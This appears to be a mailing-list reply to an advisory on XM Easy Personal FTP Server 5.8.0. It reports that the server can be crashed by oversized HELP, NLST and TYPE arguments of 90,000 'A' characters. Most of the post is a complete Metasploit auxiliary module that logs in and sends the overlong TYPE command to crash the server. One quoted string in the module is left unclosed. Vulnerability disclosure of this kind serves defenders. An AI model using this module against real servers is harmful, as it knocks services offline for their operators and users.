Subject: Re: XM Easy Personal FTP Server 'LIST' Command Remote DoS Vulnerability

Hi,
It's seem to have much more bugs then what you listed in your advisory.

It's possible to DoS the server with this 3 others commands;

HELP ('A' * 90000)
NLST ('A' * 90000)
TYPE ('A' * 90000)

Here is an auxiliary module for metasploit...

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::Ftp
        include Msf::Auxiliary::Dos      

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'XM Easy Personal FTP Server 5.8.0 Type  DoS',
                        'Description'    => %q{
                                You need a valid login to DoS this FTP server, but
                                even anonymous can do it as long as it has permission
                                to call Type.
                        },
                        'Author'         => 'Francis Provencher, Protek Research Lab',
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 1 $',
                        'References'     => [
                                [ 'URL', ' http://protekresearch.blogspot.com]
                        ],
                        'DisclosureDate' => '2009/11/10')
                )

                # They're required
                register_options([
                        OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
                        OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
                ])
        end

        def run
                return unless connect_login

                raw_send_recv("TYPE  #{'A' * 90000}\r\n")

                disconnect

                print_status("OK, server may still be technically listening, but it won't respond")
        end
end


 have a nice Day!
